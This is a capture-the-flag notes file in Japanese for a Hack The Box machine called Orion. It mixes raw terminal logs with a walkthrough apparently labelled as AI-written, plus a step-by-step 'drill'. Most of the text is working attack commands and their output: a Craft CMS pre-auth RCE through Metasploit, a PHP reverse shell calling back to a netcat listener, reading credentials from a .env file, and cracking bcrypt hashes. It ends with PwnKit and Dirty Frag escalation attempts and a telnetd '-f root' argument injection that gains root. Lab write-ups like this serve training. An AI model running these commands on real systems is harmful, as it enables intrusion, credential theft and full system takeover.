Dirty Frag (CVE-2026-43284 / CVE-2026-43500)
???
══╣ Polkit Binary (T1548.003,T1068)
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 30872 Apr 10 2026 /usr/bin/pkexec
pkexec version 0.105
CVE-2021-4034 candidate: root-owned SUID pkexec with older upstream version; verify distro package fixes and mitigations
══╣ Polkit Policies (T1548.003)
実行手順
Kali側でPwnKit PoCを取得
git clone https://github.com/ly4k/PwnKit
cd PwnKit
もしくは単体の有名PoC(arthepsy/Fire30など複数あるので、信頼できるものを1つ選ぶ)
wget https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -O PwnKit
対象へ転送:
sshpass -p 'darkangel' scp -o StrictHostKeyChecking=no PwnKit adam@10.129.62.191:~/
対象側で実行:
chmod +x PwnKit
./PwnKit
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ git clone https://github.com/ly4k/PwnKit
Cloning into 'PwnKit'...
remote: Enumerating objects: 46, done.
remote: Counting objects: 100% (2/2), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 44 (from 1)
Receiving objects: 100% (46/46), 580.57 KiB | 11.61 MiB/s, done.
Resolving deltas: 100% (15/15), done.
└─$ cd PwnKit
┌──(kali@kali)-[~/htb/Orion/10.129.62.191/PwnKit]
└─$ sshpass -p 'darkangel' scp -o StrictHostKeyChecking=no PwnKit adam@10.129.62.191:~/
┌──(kali@kali)-[~/htb/Orion/10.129.62.191/PwnKit]
└─$
adam@orion:~$ chmod +x PwnKit
adam@orion:~$ ./PwnKit
Segmentation fault (core dumped)
adam@orion:~$
対処法: gccがあれば、ソースから対象上でコンパイルする方が成功率が高いです
git clone https://github.com/berdav/CVE-2021-4034
sshpass -p 'darkangel' scp -o StrictHostKeyChecking=no -r CVE-2021-4034 adam@10.129.62.191:~/
cd CVE-2021-4034
make
./cve-2021-4034
makeがなければ直接:
gcc -o pwnkit cve-2021-4034.c utils/argv.c utils/handle.c
./pwnkit
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ git clone https://github.com/berdav/CVE-2021-4034
Cloning into 'CVE-2021-4034'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (36/36), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 92 (delta 24), reused 19 (delta 19), pack-reused 56 (from 1)
Receiving objects: 100% (92/92), 22.71 KiB | 1.42 MiB/s, done.
Resolving deltas: 100% (44/44), done.
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ sshpass -p 'darkangel' scp -o StrictHostKeyChecking=no -r CVE-2021-4034 adam@10.129.62.191:~/
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
adam@orion:~$ cd CVE-2021-4034
adam@orion:~/CVE-2021-4034$ ls
cve-2021-4034.c cve-2021-4034.sh dry-run LICENSE Makefile pwnkit.c README.md
adam@orion:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
adam@orion:~/CVE-2021-4034$ ls
cve-2021-4034 cve-2021-4034.sh gconv-modules LICENSE pwnkit.c README.md
cve-2021-4034.c dry-run 'GCONV_PATH=.' Makefile pwnkit.so
adam@orion:~/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
adam@orion:~/CVE-2021-4034$
adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by many authors.
adam@orion:~$
╔══════════╣ Active Ports (T1049)
╚ https://book.hacktricks.wiki/en/linux-hardening/network-information/local-network-and-socket-triage.html#loopback-and-local-service-enumeration
══╣ Active Ports (netstat) (T1049)
tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
══╣ Local-only listeners (loopback) (T1049)
tcp LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
══╣ Unique listener bind addresses (T1049)
CVE-2026-24061
https://github.com/Ish3ng0m4/CVE-2026-24061-Telnetd
https://www.offsec.com/blog/cve-2026-24061/
https://www.openwall.com/lists/oss-security/2026/01/20/2#:~:text=root@...a%3A~%20USER='
USER='-f root' telnet -a localhost
adam@orion:~$ USER='-f root' telnet -a localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Linux 5.15.0-177-generic (orion) (pts/9)
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Oct 24 01:19:30 PM UTC 2026
System load: 0.0 Processes: 276
Usage of /: 89.5% of 5.81GB Users logged in: 1
Memory usage: 16% IPv4 address for eth0: 10.129.62.191
Swap usage: 0%
=> / is using 89.5% of 5.81GB
=> There are 4 zombie processes.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@orion:~# whoami
root
root@orion:~#
root@orion:~# ifconfig ; hostname ; whoami ; cat /root/root.txt
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.62.191 netmask 255.255.0.0 broadcast 10.129.255.255
ether 00:50:56:b9:4e:fb txqueuelen 1000 (Ethernet)
RX packets 30155 bytes 4309818 (4.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 25107 bytes 28753750 (28.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 18079 bytes 1533921 (1.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 18079 bytes 1533921 (1.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
orion
root
62c2e9dd97a288ad52e279845b6d6f31
root@orion:~#
これやってみたい
Dirty Frag (CVE-2026-43284 / CVE-2026-43500)
╔══════════╣ Checking for Dirty Frag (CVE-2026-43284 / CVE-2026-43500) (T1068)
╚ https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available
╚ https://www.cve.org/CVERecord?id=CVE-2026-43284
╚ https://www.cve.org/CVERecord?id=CVE-2026-43500
CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6
CVE-2026-43500 (rxrpc): autoloadable: rxrpc
modprobe mitigation (xfrm-ESP): present
modprobe mitigation (rxrpc): present
Unprivileged user namespaces: disabled (breaks the public PoC)
Kernel build predates upstream fix (2026-05-08): likely unpatched unless distro backport.
git clone https://github.com/V4bel/dirtyfrag
gcc -O0 -Wall -oexp exp.c -lutil
chmod +x exp
./exp
cd ~/htb/Orion/10.129.62.191/dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
scp -q exp adam@10.129.62.191:/tmp/exp
sshpass -p 'darkangel' scp exp.c adam@10.129.62.191:~/exp.c
gcc -O0 -Wall -o exp exp.c -lutil
chmod +x exp
./exp
echo 3 > /proc/sys/vm/drop_caches
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ git clone https://github.com/V4bel/dirtyfrag
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 64, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 64 (delta 18), reused 12 (delta 12), pack-reused 30 (from 2)
Receiving objects: 100% (64/64), 5.83 MiB | 25.08 MiB/s, done.
Resolving deltas: 100% (23/23), done.
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ cd dirtyfrag
┌──(kali@kali)-[~/htb/Orion/10.129.62.191/dirtyfrag]
└─$ ls
assets exp.c README.md
┌──(kali@kali)-[~/htb/Orion/10.129.62.191/dirtyfrag]
└─$ sshpass -p 'darkangel' scp exp.c adam@10.129.62.191:~/exp.c
┌──(kali@kali)-[~/htb/Orion/10.129.62.191/dirtyfrag]
└─$
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ sshpass -p 'darkangel' ssh adam@10.129.62.191
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Oct 25 10:52:12 AM UTC 2026
System load: 0.0 Processes: 219
Usage of /: 77.2% of 5.81GB Users logged in: 0
Memory usage: 8% IPv4 address for eth0: 10.129.62.191
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sun Oct 25 10:52:12 2026 from 10.10.15.222
adam@orion:~$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/11/lto-wrapper
OFFLOAD_TARGET_NAMES=nvptx-none:amdgcn-amdhsa
OFFLOAD_TARGET_DEFAULT=1
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Ubuntu 11.4.0-1ubuntu1~22.04.3' --with-bugurl=file:///usr/share/doc/gcc-11/README.Bugs --enable-languages=c,ada,c++,go,brig,d,fortran,objc,obj-c++,m2 --prefix=/usr --with-gcc-major-version-only --program-suffix=-11 --program-prefix=x86_64-linux-gnu- --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --enable-bootstrap --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --enable-default-pie --with-system-zlib --enable-libphobos-checking=release --with-target-system-zlib=auto --enable-objc-gc=auto --enable-multiarch --disable-werror --enable-cet --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-offload-targets=nvptx-none=/build/gcc-11-0odw26/gcc-11-11.4.0/debian/tmp-nvptx/usr,amdgcn-amdhsa=/build/gcc-11-0odw26/gcc-11-11.4.0/debian/tmp-gcn/usr --without-cuda-driver --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu --with-build-config=bootstrap-lto-lean --enable-link-serialization=2
Thread model: posix
Supported LTO compression algorithms: zlib zstd
gcc version 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04.3)
adam@orion:~$
adam@orion:~$ ls
exp.c user.txt
adam@orion:~$ gcc -O0 -Wall -o exp exp.c -lutil
adam@orion:~$ ls
exp exp.c user.txt
adam@orion:~$ chmod +x exp
adam@orion:~$ ./exp
dirtyfrag: failed (rc=1)
adam@orion:~$
⇒Dirty Fragは失敗
walkthrough(AI)¶
1. 列挙¶
まずポートとサービスを確認する。
nmap -sCV -p 22,80 -Pn 10.129.62.191
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap の結果を受け、Web ブラウザで http://10.129.62.191:80 にアクセスする。

http://orion.htb/ へリダイレクトされるため、名前解決を追加する。
echo '10.129.62.191 orion.htb' | sudo tee -a /etc/hosts
続けて Web ブラウザで http://orion.htb/ を開く。
firefox http://orion.htb/
ディレクトリ列挙で /admin/login を発見する。
dirsearch -u http://orion.htb/ -e php,txt,bak,zip,conf -x 404
[23:11:57] 302 - 0B - /admin -> http://orion.htb/admin/login
[23:11:59] 302 - 0B - /admin/ -> http://orion.htb/admin/login
[23:12:01] 200 - 39KB - /admin/login

/admin/login を Web ブラウザで開くと、Craft CMS の Web フォーム認証を確認できる。フッターには Craft CMS 5.6.16 と表示される。
firefox http://orion.htb/admin/login

2. Craft CMS の事前認証 RCE で www-data¶
最初に ExploitDB を更新する。
searchsploit -u
Craft CMS 5.6.16 を検索する。
searchsploit 'Craft CMS 5.6.16'
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Craft CMS 5.6.16 - RCE | multiple/webapps/52525.py
--------------------------------------------------- ---------------------------------
CVE 番号を確認するため、ExploitDB の PoC 詳細を表示する。
searchsploit -x 52525
Exploit: Craft CMS 5.6.16 - RCE
Codes: CVE-2025-32432
PoC をローカルへコピーして試す。
searchsploit -m 52525
searchsploit -m 52525 で取得した PoC は成功せず、コード実行には至らなかったため、Metasploit を起動して CVE 番号でモジュールを検索する。
msfconsole -q
search CVE:2025-32432
Matching Modules
================
# Name Rank Check Description
- ---- ---- ----- -----------
0 exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 excellent Yes Craft CMS Image Transform Preauth RCE
use 0
set RHOSTS orion.htb
set LHOST <ATTACKER_IP>
run
セッション取得後、実行ユーザーと対象ホストの情報を確認する。
meterpreter > getuid
meterpreter > sysinfo
Meterpreter から Web ルートに PHP ファイルを置けることを確認する。まず攻撃マシンで phpinfo.php を作成してアップロードする。
echo '<?php phpinfo(); ?>' > phpinfo.php
meterpreter > upload phpinfo.php
meterpreter > ls
Web ブラウザで http://orion.htb/phpinfo.php を開き、PHP が実行されることを確認する。
次に Reverse Shell Generator で PHP Ivan Sincek を選択し、攻撃者 IP と listener ポートを設定した rev.php を作成する。作成したファイルを Meterpreter から同じ Web ルートへアップロードする。
meterpreter > upload rev.php
meterpreter > ls

nc -lvnp 9001
curl http://orion.htb/rev.php
シェルが接続したら、以下で TTY を安定化する。
script -qc /bin/bash /dev/null
Python が利用できる場合は、代わりに次のコマンドでも PTY を取得できる。
python -c 'import pty; pty.spawn("/bin/bash")'
ローカルで待ち受けている TCP サービスを確認する。
ss -lntup | grep -i tcp
www-data@orion:~/html/craft/web$ ss -lntup | grep -i tcp
tcp LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1087,fd=6),("nginx",pid=1086,fd=6))
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
www-data@orion:~/html/craft/web$

localhost の TCP/23(telnetd)と TCP/3306(MySQL)が待ち受けていることを確認できる。
Craft CMS では、ルート直下の .env に DB 接続情報、SECURITY_KEY、各種 API キーなどの環境変数が保存される。.env を確認する。
cat /var/www/html/craft/.env
www-data@orion:~/html/craft$ cat /var/www/html/craft/.env
cat /var/www/html/craft/.env
# Read about configuration, here:
# https://craftcms.com/docs/5.x/configure.html
# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff
# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=dev
# General settings
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=
PRIMARY_SITE_URL=http://orion.htb/
www-data@orion:~/html/craft$
.env から MySQL の DB 認証情報を発見したため、users テーブルの bcrypt hash を取得する。
mysql -u root -p'SuperSecureCraft123Pass!' -h localhost
show databases;
use orion;
show tables;
select * from users;

3. adam の SSH 認証情報を取得¶
取得した hash を adam.hash に保存し、rockyou でクラックする。
hashcat -m 3200 adam.hash /usr/share/wordlists/rockyou.txt --quiet
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt adam.hash
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel


adam:darkangel で SSH 接続し、user flag を取得する。
sshpass -p 'darkangel' ssh adam@orion.htb
cat ~/user.txt

4. localhost の telnetd から root¶
linpeas などで localhost 専用の TCP/23 を確認する。
ss -lnt; telnet --version
GNU inetutils telnet 2.7 に対して CVE-2026-24061 を利用する。詳細は GNU InetUtils Security Advisory を参照。
USER='-f root' telnet -a localhost
whoami
cat /root/root.txt

drill¶
以下を上から順に実行する。最初に環境に合わせて IP アドレスを設定する。
export TARGET_IP="<TARGET_IP>"
export ATTACKER_IP="<ATTACKER_IP>"
1. 初期列挙¶
nmap -p- -T4 -Pn "$TARGET_IP"
nmap -sCV -p 22,80 -Pn "$TARGET_IP"
echo "$TARGET_IP orion.htb" | sudo tee -a /etc/hosts
firefox http://orion.htb/
dirsearch -u http://orion.htb/ -e php,txt,bak,zip,conf -x 404
firefox http://orion.htb/admin/login
2. ExploitDB と Metasploit¶
searchsploit -u
searchsploit 'Craft CMS 5.6.16'
searchsploit -x 52525
searchsploit -m 52525 で取得した PoC は、Failed to obtain PHPSESSID となり失敗する。
そのため、Metasploit を使う。
msfconsole -q
search CVE:2025-32432
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS orion.htb
set LHOST $ATTACKER_IP
run
getuid
sysinfo
3. PHP 実行確認とリバースシェル¶
別ターミナルで PHP ファイルを作成し、Meterpreter からアップロードする。
echo '<?php phpinfo(); ?>' > phpinfo.php
meterpreter > upload phpinfo.php
meterpreter > ls
ブラウザで PHP の実行を確認した後、Reverse Shell Generator の PHP Ivan Sincek で rev.php を作成する。
meterpreter > upload rev.php
meterpreter > ls
nc -lvnp 9001
curl http://orion.htb/rev.php
script -qc /bin/bash /dev/null
Python が使える場合の代替:
python -c 'import pty; pty.spawn("/bin/bash")'
4. 内部サービスと Craft の設定¶
ss -lntup | grep -i tcp
cat /var/www/html/craft/.env
5. MySQL から bcrypt hash を取得¶
mysql -u root -p'SuperSecureCraft123Pass!' -h localhost
show databases;
use orion;
show tables;
select * from users;
取得した hash を adam.hash に保存する。
6. hash をクラックして SSH¶
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hashid -m adam.hash
hashcat -m 3200 adam.hash /usr/share/wordlists/rockyou.txt --quiet
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt adam.hash
sshpass -p 'darkangel' ssh adam@orion.htb 'cat ~/user.txt'
7. telnetd の脆弱性で root¶
sshpass -p 'darkangel' ssh adam@orion.htb
ss -lnt
telnet --version
USER='-f root' telnet -a localhost
whoami
cat /root/root.txt